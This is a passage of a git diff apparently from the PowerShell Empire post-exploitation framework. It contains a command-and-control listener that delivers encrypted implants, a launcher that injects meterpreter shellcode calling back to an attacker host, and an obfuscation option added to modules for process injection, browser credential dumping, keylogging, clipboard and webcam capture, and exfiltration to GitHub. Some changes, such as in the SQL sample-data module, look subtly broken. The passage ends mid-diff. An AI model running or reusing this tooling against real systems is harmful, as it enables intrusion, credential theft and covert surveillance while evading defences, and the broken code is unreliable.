packet should be at the front of the binary request.data + # NOTE: this can also go into a cookie/etc. + + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP) + #print dataResults + if dataResults and len(dataResults) > 0: + for (language, results) in dataResults: + if results: + if results.startswith('STAGE2'): + # TODO: document the exact results structure returned + sessionID = results.split(' ')[1].strip() + sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] + dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') + + # step 6 of negotiation -> server sends patched agent.ps1/agent.py + agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions) + encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) + # TODO: wrap ^ in a routing packet? + + return make_response(encryptedAgent, 200) + + elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): + dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http') + return make_response(self.default_response(), 200) + elif results == 'VALID': + dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http') + return make_response(self.default_response(), 200) + else: + return make_response(results, 200) + else: + return make_response(self.default_response(), 200) + else: + return make_response(self.default_response(), 200) + + try: + certPath = listenerOptions['CertPath']['Value'] + host = listenerOptions['Host']['Value'] + if certPath.strip() != '' and host.startswith('https'): + context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath)) + app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) + else: + app.run(host=bindIP, port=int(port), threaded=True) + + except Exception as e: + print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e)) + dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http') + + + def start(self, name=''): + """ + Start a threaded instance of self.start_server() and store it in the + self.threads dictionary keyed by the listener name. + """ + listenerOptions = self.options + if name and name != '': + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + else: + name = listenerOptions['Name']['Value'] + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + + + def shutdown(self, name=''): + """ + Terminates the server thread stored in the self.threads dictionary, + keyed by the listener name. + """ + + if name and name != '': + print helpers.color("[!] Killing listener '%s'" % (name)) + self.threads[name].kill() + else: + print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])) + self.threads[self.options['Name']['Value']].kill() diff --git a/lib/listeners/meterpreter.py b/lib/listeners/meterpreter.py index 83dc4e83b..c330a42dd 100644 --- a/lib/listeners/meterpreter.py +++ b/lib/listeners/meterpreter.py @@ -65,7 +65,7 @@ def validate_options(self): return True - def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ @@ -101,13 +101,15 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p script = helpers.strip_powershell_comments(script) script += "\nInvoke-Shellcode -Payload %s -Lhost %s -Lport %s -Force" % (msfPayload, host, port) + if obfuscate: + script = helpers.obfuscate(script, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) return script else: print helpers.color("[!] listeners/meterpreter generate_launcher(): invalid listener name specification!") - def generate_stager(self, encode=False, encrypt=True, language=None): + def generate_stager(self, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Nothing to actually generate here for foreign listeners. """ @@ -115,7 +117,7 @@ def generate_stager(self, encode=False, encrypt=True, language=None): pass - def generate_agent(self, language=None): + def generate_agent(self, language=None, obfuscate=False, obfuscationCommand=""): """ Nothing to actually generate here for foreign listeners. """ @@ -156,4 +158,4 @@ def shutdown(self, name=''): """ Nothing to actually shut down for a foreign listner. """ - pass \ No newline at end of file + pass diff --git a/lib/listeners/template.py b/lib/listeners/template.py index b444fdb72..540564b34 100644 --- a/lib/listeners/template.py +++ b/lib/listeners/template.py @@ -121,7 +121,7 @@ def validate_options(self): return True - def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ @@ -156,7 +156,7 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p print helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!") - def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): + def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. @@ -165,7 +165,7 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= return '' - def generate_agent(self, listenerOptions, language=None): + def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ If you want to support staging for the listener module, generate_agent must be implemented to return the actual staged agent code. @@ -256,4 +256,4 @@ def shutdown(self, name=''): # print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])) # self.threads[self.options['Name']['Value']].kill() - pass \ No newline at end of file + pass diff --git a/lib/modules/exfiltration/Invoke_ExfilDataToGitHub.py b/lib/modules/exfiltration/Invoke_ExfilDataToGitHub.py index 48d7044bb..bad3ed08a 100644 --- a/lib/modules/exfiltration/Invoke_ExfilDataToGitHub.py +++ b/lib/modules/exfiltration/Invoke_ExfilDataToGitHub.py @@ -114,11 +114,14 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # if you're reading in a large, external script that might be updates, # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -131,7 +134,7 @@ def generate(self): script = moduleCode # Need to actually run the module that has been loaded - script += 'Invoke-ExfilDataToGitHub' + scriptEnd = 'Invoke-ExfilDataToGitHub' # add any arguments to the end execution of the script for option,values in self.options.iteritems(): @@ -139,8 +142,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" - + scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/code_execution/invoke_dllinjection.py b/lib/modules/powershell/code_execution/invoke_dllinjection.py index 5cceca3bb..3f2a94eba 100644 --- a/lib/modules/powershell/code_execution/invoke_dllinjection.py +++ b/lib/modules/powershell/code_execution/invoke_dllinjection.py @@ -62,11 +62,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-DllInjection.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -78,11 +80,14 @@ def generate(self): script = moduleCode - script += "\nInvoke-DllInjection" + scriptEnd = "\nInvoke-DllInjection" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/code_execution/invoke_metasploitpayload.py b/lib/modules/powershell/code_execution/invoke_metasploitpayload.py index 0ff7334f4..38c4c6daa 100644 --- a/lib/modules/powershell/code_execution/invoke_metasploitpayload.py +++ b/lib/modules/powershell/code_execution/invoke_metasploitpayload.py @@ -45,9 +45,12 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-MetasploitPayload.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -58,15 +61,17 @@ def generate(self): f.close() script = moduleCode - script += "\nInvoke-MetasploitPayload" + scriptEnd = "\nInvoke-MetasploitPayload" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py index 45d6eaa8d..531b1f9f1 100644 --- a/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -83,11 +83,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-ReflectivePEInjection.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -99,7 +101,7 @@ def generate(self): script = moduleCode - script += "\nInvoke-ReflectivePEInjection" + scriptEnd = "\nInvoke-ReflectivePEInjection" #check if dllpath or PEUrl is set. Both are required params in their respective parameter sets. if self.options['DllPath']['Value'] == "" and self.options['PEUrl']['Value'] == "": @@ -115,14 +117,16 @@ def generate(self): f.close() base64bytes = base64.b64encode(dllbytes) - script += " -PEbase64 " + str(base64bytes) + scriptEnd += " -PEbase64 " + str(base64bytes) except: print helpers.color("[!] Error in reading/encoding dll: " + str(values['Value'])) elif values['Value'].lower() == "true": - script += " -" + str(option) + scriptEnd += " -" + str(option) elif values['Value'] and values['Value'] != '': - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/code_execution/invoke_shellcode.py b/lib/modules/powershell/code_execution/invoke_shellcode.py index 2bddf3b8d..2bf16e69d 100644 --- a/lib/modules/powershell/code_execution/invoke_shellcode.py +++ b/lib/modules/powershell/code_execution/invoke_shellcode.py @@ -88,11 +88,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -104,7 +106,7 @@ def generate(self): script = moduleCode - script += "\nInvoke-Shellcode -Force" + scriptEnd = "\nInvoke-Shellcode -Force" listenerName = self.options['Listener']['Value'] if listenerName != "": @@ -133,14 +135,16 @@ def generate(self): if values['Value'] and values['Value'] != '': if option.lower() == "payload": payload = "windows/meterpreter/" + str(values['Value']) - script += " -" + str(option) + " " + payload + scriptEnd += " -" + str(option) + " " + payload elif option.lower() == "shellcode": # transform the shellcode to the correct format sc = ",0".join(values['Value'].split("\\"))[1:] - script += " -" + str(option) + " @(" + sc + ")" + scriptEnd += " -" + str(option) + " @(" + sc + ")" else: - script += " -" + str(option) + " " + str(values['Value']) - - script += "; 'Shellcode injected.'" + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += "; 'Shellcode injected.'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/code_execution/invoke_shellcodemsil.py b/lib/modules/powershell/code_execution/invoke_shellcodemsil.py index 88025d7da..fe0d1121a 100644 --- a/lib/modules/powershell/code_execution/invoke_shellcodemsil.py +++ b/lib/modules/powershell/code_execution/invoke_shellcodemsil.py @@ -61,11 +61,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-ShellcodeMSIL.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -77,7 +79,7 @@ def generate(self): script = moduleCode - script += "Invoke-ShellcodeMSIL" + scriptEnd = "Invoke-ShellcodeMSIL" for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -85,6 +87,8 @@ def generate(self): if option.lower() == "shellcode": # transform the shellcode to the correct format sc = ",0".join(values['Value'].split("\\"))[1:] - script += " -" + str(option) + " @(" + sc + ")" - - return script \ No newline at end of file + scriptEnd += " -" + str(option) + " @(" + sc + ")" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/collection/ChromeDump.py b/lib/modules/powershell/collection/ChromeDump.py index aa27e6635..1c3ccd0c0 100644 --- a/lib/modules/powershell/collection/ChromeDump.py +++ b/lib/modules/powershell/collection/ChromeDump.py @@ -69,13 +69,16 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # if you're reading in a large, external script that might be updates, # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-ChromeDump.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -87,7 +90,7 @@ def generate(self): script = moduleCode - script += " Get-ChromeDump" + scriptEnd = " Get-ChromeDump" # add any arguments to the end execution of the script @@ -96,8 +99,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/FoxDump.py b/lib/modules/powershell/collection/FoxDump.py index e0b9349f1..29ae719be 100644 --- a/lib/modules/powershell/collection/FoxDump.py +++ b/lib/modules/powershell/collection/FoxDump.py @@ -71,7 +71,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): @@ -80,6 +80,9 @@ def generate(self): # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-FoxDump.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -91,7 +94,7 @@ def generate(self): script = moduleCode - script += " Get-FoxDump" + scriptEnd = " Get-FoxDump" # add any arguments to the end execution of the script @@ -100,8 +103,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/USBKeylogger.py b/lib/modules/powershell/collection/USBKeylogger.py index 6cd1b91b5..3ab8dafa8 100644 --- a/lib/modules/powershell/collection/USBKeylogger.py +++ b/lib/modules/powershell/collection/USBKeylogger.py @@ -1,80 +1,84 @@ -from lib.common import helpers - -class Module: - - def __init__(self, mainMenu, params=[]): - - self.info = { - 'Name': 'Get-USBKeyStrokes', - - 'Author': ['@Conjectural_hex', '@CyberPoint_SRT'], - - 'Description': ('Logs USB keys pressed using Event Tracing for Windows (ETW)'), - - 'Background' : True, - - 'OutputExtension' : None, - - 'NeedsAdmin' : True, - - 'OpsecSafe' : True, - - 'MinLanguageVersion' : '2', - - 'Comments': [ - 'https://github.com/CyberPoint/Ruxcon2016ETW/tree/master/KeyloggerPOC', - 'https://github.com/CyberPoint/ETWKeyLogger_PSE', - 'https://ruxcon.org.au/assets/2016/slides/ETW_16_RUXCON_NJR_no_notes.pdf' - ] - } - - # any options needed by the module, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - - def generate(self): - - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-USBKeystrokes.ps1" - - try: - f = open(moduleSource, 'r') - except: - print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) - return "" - - moduleCode = f.read() - f.close() - - script = moduleCode - - script += "Get-USBKeystrokes " - - for option,values in self.options.iteritems(): - if option.lower() != "agent": - if values['Value'] and values['Value'] != '': - if values['Value'].lower() == "true": - # if we're just adding a switch - script += " -" + str(option) - else: - script += " -" + str(option) + " " + str(values['Value']) - - return script +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-USBKeyStrokes', + + 'Author': ['@Conjectural_hex', '@CyberPoint_SRT'], + + 'Description': ('Logs USB keys pressed using Event Tracing for Windows (ETW)'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : True, + + 'OpsecSafe' : True, + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/CyberPoint/Ruxcon2016ETW/tree/master/KeyloggerPOC', + 'https://github.com/CyberPoint/ETWKeyLogger_PSE', + 'https://ruxcon.org.au/assets/2016/slides/ETW_16_RUXCON_NJR_no_notes.pdf' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-USBKeystrokes.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + scriptEnd = "Get-USBKeystrokes " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + scriptEnd += " -" + str(option) + else: + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/collection/WebcamRecorder.py b/lib/modules/powershell/collection/WebcamRecorder.py index a7b891d5f..763cf4140 100644 --- a/lib/modules/powershell/collection/WebcamRecorder.py +++ b/lib/modules/powershell/collection/WebcamRecorder.py @@ -76,7 +76,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # the PowerShell script itself, with the command to invoke # for execution appended to the end. Scripts should output @@ -215,5 +215,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/collection/browser_data.py b/lib/modules/powershell/collection/browser_data.py index ea938048f..0a455b53f 100644 --- a/lib/modules/powershell/collection/browser_data.py +++ b/lib/modules/powershell/collection/browser_data.py @@ -70,13 +70,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-BrowserData.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -89,16 +91,18 @@ def generate(self): # get just the code needed for the specified function script = moduleCode - script += "\nGet-BrowserInformation " + scriptEnd = "\nGet-BrowserInformation " # add any arguments to the end execution of the script for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/clipboard_monitor.py b/lib/modules/powershell/collection/clipboard_monitor.py index 76011a1b7..d12fe04f5 100644 --- a/lib/modules/powershell/collection/clipboard_monitor.py +++ b/lib/modules/powershell/collection/clipboard_monitor.py @@ -60,11 +60,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-ClipboardContents.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -76,15 +78,17 @@ def generate(self): script = moduleCode - script += "Get-ClipboardContents" + scriptEnd = "Get-ClipboardContents" for option, values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/file_finder.py b/lib/modules/powershell/collection/file_finder.py index 13b4dc75d..e66d90847 100644 --- a/lib/modules/powershell/collection/file_finder.py +++ b/lib/modules/powershell/collection/file_finder.py @@ -130,13 +130,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" - + try: f = open(moduleSource, 'r') except: @@ -161,5 +161,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/collection/find_interesting_file.py b/lib/modules/powershell/collection/find_interesting_file.py index 808c08c14..1a68474a3 100644 --- a/lib/modules/powershell/collection/find_interesting_file.py +++ b/lib/modules/powershell/collection/find_interesting_file.py @@ -95,7 +95,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -126,5 +126,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/collection/get_indexed_item.py b/lib/modules/powershell/collection/get_indexed_item.py index 25039924a..3039b13e3 100644 --- a/lib/modules/powershell/collection/get_indexed_item.py +++ b/lib/modules/powershell/collection/get_indexed_item.py @@ -55,11 +55,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-IndexedItem.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -71,19 +73,21 @@ def generate(self): script = moduleCode - script += "Get-IndexedItem " + scriptEnd = "Get-IndexedItem " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) # extract the fields we want - script += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY" - script += " | fl | Out-String;" - + scriptEnd += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY" + scriptEnd += " | fl | Out-String;" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/get_sql_column_sample_data.py b/lib/modules/powershell/collection/get_sql_column_sample_data.py index cb73c0748..7f9d007db 100644 --- a/lib/modules/powershell/collection/get_sql_column_sample_data.py +++ b/lib/modules/powershell/collection/get_sql_column_sample_data.py @@ -67,7 +67,7 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): username = self.options['Username']['Value'] password = self.options['Password']['Value'] @@ -78,34 +78,42 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1" script = "" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + script = moduleSource.replace("module_source", "obfuscated_module_source") try: - with open(moduleSource, 'r') as source: - script = source.read() + f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" if check_all: auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=auxModuleSource, obfuscationCommand=obfuscationCommand) + auxModuleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(auxModuleSource, 'r') as auxSource: auxScript = auxSource.read() script += " " + auxScript except: print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) - script += " Get-SQLInstanceDomain " + scriptEnd = " Get-SQLInstanceDomain " if username != "": - script += " -Username "+username + scriptEnd += " -Username "+username if password != "": - script += " -Password "+password - script += " | " - script += " Get-SQLColumnSampleData" + scriptEnd += " -Password "+password + scriptEnd += " | " + scriptEnd += " Get-SQLColumnSampleData" if username != "": - script += " -Username "+username + scriptEnd += " -Username "+username if password != "": - script += " -Password "+password + scriptEnd += " -Password "+password if instance != "" and not check_all: - script += " -Instance "+instance + scriptEnd += " -Instance "+instance if no_defaults: - script += " -NoDefaults " + scriptEnd += " -NoDefaults " + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git 